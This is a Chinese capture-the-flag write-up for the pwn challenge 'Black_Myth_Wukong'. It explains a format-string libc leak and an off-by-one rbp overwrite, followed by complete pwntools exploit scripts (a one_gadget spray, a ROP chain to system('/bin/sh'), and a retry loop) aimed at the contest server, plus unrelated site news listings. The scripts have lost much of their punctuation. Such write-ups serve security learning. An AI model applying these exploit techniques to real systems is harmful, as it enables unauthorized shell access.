2024极客大挑战 Black_Myth_Wukong wp
# Black_Myth_Wukong wpchackesc一下文件开启nxpie保护。反编译一下文件%%%d$llx导致有一次栈上任意地址泄露的机会可以泄露libc那么我们先泄露前40个地址的数据看看有没有能用的。多次运行发现偏移 1,17,18,19,25,26,30,31,35,38这些地址最后三位是固定的可能是在libc段那么可以gdb调试用两次地址减去vmmap里libc的基址看是否得到固定偏移。经调试1719都可以就用19吧成功得到libcbase。接着分析程序。如果v2小于等于0x100进入action函数写入v2字节数据到开辟的a1的256数组缓冲区中fread返回写入的字节数那么如果写入256字节到a[0]-a[255]的256字节数组中a[256]0会覆盖掉紧邻 a1 之后的一个字节也就是previous rbp的最低1字节变成00这就是所谓的off-by-one漏洞。所以rbp被破环了函数会跳到a1缓冲区不固定的地方然后我们用one_gadget把a1填满即可获得shell。可以一一尝试第一个就可以打通获得shell拿到flag。但是也有偶尔打不通的时候多尝试几次即可。第二种思路是a1缓冲区里最后3个8字节填为pop_rdibin_shsystem剩下的全填为ret一路滑下去但一直打不通。完整exp如下from pwn import * context(archamd64,oslinux,log_leveldebug) libc ELF(./libc.so.6) io remote(nc1.ctfplus.cn,27385) io process( [./ld-linux-x86-64.so.2, ./main], env{LD_PRELOAD: ./libc.so.6} ) io.recvuntil(bgame...) io.send(b\n) io.recvuntil(bhim?\n) #gdb.attach(io) io.sendline(str(17).encode()) io.recvuntil(bit: ) leak io.recvline().strip().decode() #print(fOffset {19}: {hex(int(leak,16))}) libc_base int(leak,16) - 0x3ec760 log.success(flibc_base: {hex(libc_base)}) libc.address libc_base rop ROP(libc) pop_rdi rop.find_gadget([pop rdi,ret]).address ret rop.find_gadget([ret]).address bin_ next(libc.search(b/bin/sh)) system libc.sym[system] ​ one_gadget libc_base 0x4f2a5 io.recvuntil(bmax 256)?\n) io.sendline(b256) payload p64(one_gadget)*32 #payload p64(ret) * 29 p64(pop_rdi) p64(bin_) p64(system) io.send(payload) io.interactive()经过不断调试发现第二种方法行得通是在system函数后面加一个exit0函数防止system函数之后乱跳导致程序GOT EOF。代码如下from pwn import * context(archamd64,oslinux,log_leveldebug) libc ELF(./libc.so.6) io remote(nc1.ctfplus.cn,41941) io process( [./ld-linux-x86-64.so.2, ./main], env{LD_PRELOAD: ./libc.so.6} ) io.recvuntil(bgame...) io.send(b\n) io.recvuntil(bhim?\n) #gdb.attach(io) io.sendline(str(17).encode()) io.recvuntil(bit: ) leak io.recvline().strip().decode() #print(fOffset {19}: {hex(int(leak,16))}) libc_base int(leak,16) - 0x3ec760 log.success(flibc_base: {hex(libc_base)}) libc.address libc_base rop ROP(libc) pop_rdi rop.find_gadget([pop rdi,ret]).address ret rop.find_gadget([ret]).address bin_ next(libc.search(b/bin/sh)) system libc.sym[system] exit_ libc.sym[exit] ​ one_gadget libc_base 0x4f2a5 io.recvuntil(bmax 256)?\n) io.sendline(b256) #payload p64(one_gadget)*32 payload p64(ret) * 26 p64(pop_rdi) p64(bin_) p64(system) p64(pop_rdi) p64(0) p64(exit_) io.send(payload) io.interactive()但此方法打不通的概率远大于one_gadget还有一个重复测试的脚本可以再次记录一下from pwn import * import time ​ context(archamd64, oslinux, log_leveldebug) libc ELF(./libc.so.6, checksecFalse) ​ HOST nc1.ctfplus.cn PORT 41941 MAX_TRY 40 ​ for i in range(1, MAX_TRY 1): log.info(ftry {i}/{MAX_TRY}) io remote(HOST, PORT) ​ try: io.recvuntil(bgame...) io.send(b\n) io.recvuntil(bhim?\n) ​ io.sendline(b17) io.recvuntil(bit: ) leak int(io.recvline().strip(), 16) ​ libc_base leak - 0x3ec760 log.success(fleak {hex(leak)}) log.success(flibc_base {hex(libc_base)}) ​ libc.address libc_base rop ROP(libc) pop_rdi rop.find_gadget([pop rdi, ret]).address ret rop.find_gadget([ret]).address bin_sh next(libc.search(b/bin/sh\x00)) system libc.sym[system] exit_ libc.sym[exit] ​ io.recvuntil(bmax 256)?\n) io.sendline(b256) ​ payload ( p64(ret) * 26 p64(pop_rdi) p64(bin_sh) p64(system) p64(pop_rdi) p64(0) p64(exit_) ) io.send(payload) ​ # 先吃掉程序自己还没打完的输出避免误判 time.sleep(0.2) leftover io.recvrepeat(0.5) if leftover: log.info(fleftover: {leftover!r}) ​ # 给 shell 一点接管时间再探测 io.sendline(becho PWNED) time.sleep(0.2) data io.recvrepeat(0.8) ​ if bPWNED in data: log.success(fsuccess on try {i}) io.interactive() break ​ log.warning(ffailed on try {i}) io.close() ​ except EOFError: log.warning(fEOF on try {i}) io.close() except Exception as e: log.warning(fexception on try {i}: {e}) io.close() else: log.failure(all tries failed)

相关新闻

六年了,我们为什么坚持代码100%开源、免费商用

六年了,我们为什么坚持代码100%开源、免费商用

2019年,我们把第一行代码推到Gitee上,用的是Apache-2.0协议。 当时的开源电商圈,有两种主流玩法。一种叫"开源引流,付费卖授权",代码给你看,商用请交钱。另一种叫"核心加密,插件…

2026/8/1 5:35:52 阅读更多 →
《认知红利》书摘3

《认知红利》书摘3

《认知红利》书摘 如果你把每一本书作为孤立的一本书来学习,那么知识量就是以加法的方式增长的。比如你学习了复利效应、比例偏见、SWOT分析,那么你知识库里的知识量就增加了3个。 原有知识新知识1新知识2新知识3……那应该怎么学才能产生复利效应&…

2026/8/1 5:35:52 阅读更多 →
产品设计中“帮助关于”模块的构建策略与实战指南

产品设计中“帮助关于”模块的构建策略与实战指南

1. 项目概述:从“帮助关于”到产品体验的基石“帮助关于”这个标题,乍一看平淡无奇,甚至有些乏味。在很多产品经理或开发者的待办清单里,它可能只是一个需要“填充内容”的静态页面,优先级往往被排得很靠后。但在我十多…

2026/8/1 5:35:52 阅读更多 →

最新新闻

Netty高性能网络编程实战:从核心原理到生产环境避坑指南

Netty高性能网络编程实战:从核心原理到生产环境避坑指南

1. 从“Hello World”到百万连接:为什么Netty值得你投入时间如果你是一名Java后端开发者,或者对高性能网络编程感兴趣,那么“Netty”这个名字你一定不陌生。它常常和“高性能”、“异步”、“事件驱动”、“网络框架”这些词绑定在一起&#…

2026/8/1 6:11:03 阅读更多 →
LinkedHashMap与HashMap深度对比:从原理到LRU缓存实战

LinkedHashMap与HashMap深度对比:从原理到LRU缓存实战

1. 项目概述:为什么我们需要LinkedHashMap?如果你写过Java,HashMap绝对是绕不开的一个老朋友。它快,它简单,它用键值对帮你解决了无数数据存储和查找的问题。但不知道你有没有遇到过这样的场景:你从数据库里…

2026/8/1 6:11:03 阅读更多 →
科研绘图工具选择要点与实用指南

科研绘图工具选择要点与实用指南

“导师说我的图表不规范,重新画!”这是许多研究生在论文盲审前最怕听到的一句话。图表是学术论文的面子,更是表达科学发现的核心语言。但面对五花八门的科研绘图工具,很多人却陷入选择困难:数据图用Excel总觉得不够专业…

2026/8/1 6:11:03 阅读更多 →
企业网络交换核心技术解析:VLAN、STP、DHCP与BFD实战指南

企业网络交换核心技术解析:VLAN、STP、DHCP与BFD实战指南

1. 项目概述:从HCIP认证看企业网络交换核心 最近身边不少朋友在备考华为的HCIP认证,尤其是数通方向,交换部分的内容总是绕不开的重点和难点。很多人一看到VLAN、DHCP、BFD这些名词就头疼,觉得概念抽象,配置命令又繁杂。…

2026/8/1 6:11:03 阅读更多 →
生物信息学实战:从GO号到功能描述的精准查询与批量处理指南

生物信息学实战:从GO号到功能描述的精准查询与批量处理指南

1. 项目概述:从GO号到生物学描述的精准定位在生物信息学的日常分析中,Gene Ontology(基因本体论,简称GO)是我们解读高通量测序数据(如RNA-seq、蛋白质组学)结果时,绕不开的核心工具。…

2026/8/1 6:11:03 阅读更多 →
从Web渗透到内网提权:一次完整渗透测试实战全流程解析

从Web渗透到内网提权:一次完整渗透测试实战全流程解析

1. 项目概述:一次完整的渗透测试实战复盘最近在BugKu平台上复现了一个综合性的渗透测试靶场,从外部信息收集到最终的内网提权,整个过程涉及了Web渗透、权限维持、横向移动等多个阶段。这不仅仅是一次CTF解题,更是一个贴近真实渗透…

2026/8/1 6:10:03 阅读更多 →

日新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/1 0:00:48 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/1 0:00:48 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/1 0:00:48 阅读更多 →

周新闻

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 数据集6000张 完整源码已标注数据集训练好的模型环境配置教程程序运行说明文档,可以直接使用!系统支持图片、视频、摄像头等多种方式检测裂缝,功能强大实用。 1数据集6000张 8各类别

2026/7/31 1:03:03 阅读更多 →
深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

pubg数据集 精选原图1.42万数据 1.49万标签 无任何重复、算法增强或冗余图像! pubg绝地求生目标检测数据集 1分类:e_body,14905个标签,txt格式 共计14244张图,99%为640*640尺寸图像 适合yolo目标检测、AI训练关键词&am…

2026/8/1 5:19:34 阅读更多 →
Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex检测数据集数据集详情检测类别: allies enemy tag图片总量:7247张训练集:5139张验证集:1425张测试集:683张标注状态:全部已标注,即拿即用数据格式:支持YOLO格式及其他格式&#…

2026/7/31 4:19:39 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/1 0:00:48 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/1 0:00:48 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/1 0:00:48 阅读更多 →